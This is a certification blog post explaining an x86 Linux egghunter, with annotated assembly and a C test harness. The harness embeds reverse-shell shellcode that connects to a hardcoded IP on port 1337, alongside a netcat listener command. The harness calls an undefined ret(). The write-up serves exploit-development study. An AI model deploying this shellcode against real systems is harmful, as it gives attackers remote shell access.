SLAE32 Assignment 3 - X86 Linux Egghunter

2 minute read

SLAE32 Assignment #3

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1372

This is the third of seven assignments in order to complete the SLAE (32bit) certification. The topic covered on this Assignment will be egghunters. During my study every source of information were referring the Skape’s article Safely Searching Process Virtual Address Space. This article is really good. All aspects of egghunters are covered, including the code used to do it.

What is an Egghunter?!?

Egghunter is no more than a small piece of shellcode which objective is to find in memory a bigger piece of shellcode and jump to it to execute it. The main reason behind the usage of egghunters is that in certain situations we just have a small buffer size which can’t allocates fully functional shellcode but we can to load the shellcode somewhere in the memory.

Implementation

On Skape’s paper are presented three different implementations of egghunters. All of them can safely transverse the process Virtual Address Space (VAS). While we are searching for the egg and we land in an invalid memory address it will return EFAULT error code. Handling correctly this error is what allow us to search for the egg in a crash-free way.

Below code implements a egghunter, it’s a mixing of both Skape’s implementation with some “improvements”. It doesn’t needs to run two times the string scan because the egg isn’t coded directly but the egg value+1.

global _start
section .text
_start:
xor ecx, ecx					;ecx = 0
mul ecx						;eax = 0, edx=0
xor ebx, ebx					;ebx = 0
next_page:
or dx, 0xfff					;Page alignemt operation
next_add:
inc edx
lea ebx, [edx+4]
push byte 0x21					; 0x21 (33) into the stack
pop eax						; syscall 33 (access)
int 0x80					; syscall
cmp al, 0xf2					; check if the access violation (EFAULT) occurs.
jz next_page					; if EFAULT it will try next page
mov eax, dword 0x90509051			;EGG+1 loaded into eax
dec eax						; decrement to avoid the egghunter find this piece of code with this we reduce the use of one more time the scasd
mov edi, edx
scasd						; compare dword stored in edi with the egg
jnz next_add					; if not equals try next address
jmp edi						; found the egg jumps into code! \m/.\m/

Basically all memory is going to be searched, when it finds a valid address compares with 0x90509050. The instruction used to compare was the scasd. The scasd instruction will take the value in EAX (egg) and compare with edi. In each iteration of scasd it will increase by 4 the value of edi, what means that when we found the egg we can just make a jmp edi and we will be jumping into the shellcode.

To test our egghunter code was used the the Assignment 2 reverse shell. Below there is the test code.

#include<stdio.h>
#include<string.h>

unsigned char egg[] = \
//egg
"\x50\x90\x50\x90" 
//payload
"\x31\xc0\xb0\x66\x31\xdb\x53\x43\x53\x6a\x02\x89\xe1\xcd\x80\x97\x68\xc0\xa8\x1e\xa6"
"\x66\x68\x05\x39\x43\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\x43\x31\xc0\xb0\x66\xcd"
"\x80\x87\xdf\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x6e\x2f\x73"
"\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80";

unsigned char egghunter[] = \
"\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74"
"\xee\xb8\x51\x90\x50\x90\x48\x89\xd7\xaf\x75\xe8\xff\xe7";

void main(){
	printf("EGGHunter Length:\t%d\n",strlen(egghunter));
	printf("Shellcode Length:\t%d\n",strlen(egg)-4);
	ret();
}

After compiled with flags -fno-stack-protector -z execstack we are ready to open a listener on port 1337 with nc -nlvp 1337 and execute our test code.

egg.gif

In order to change the payload it is just needed to change the code under the payload comment in the code above.

All the code can be found in my github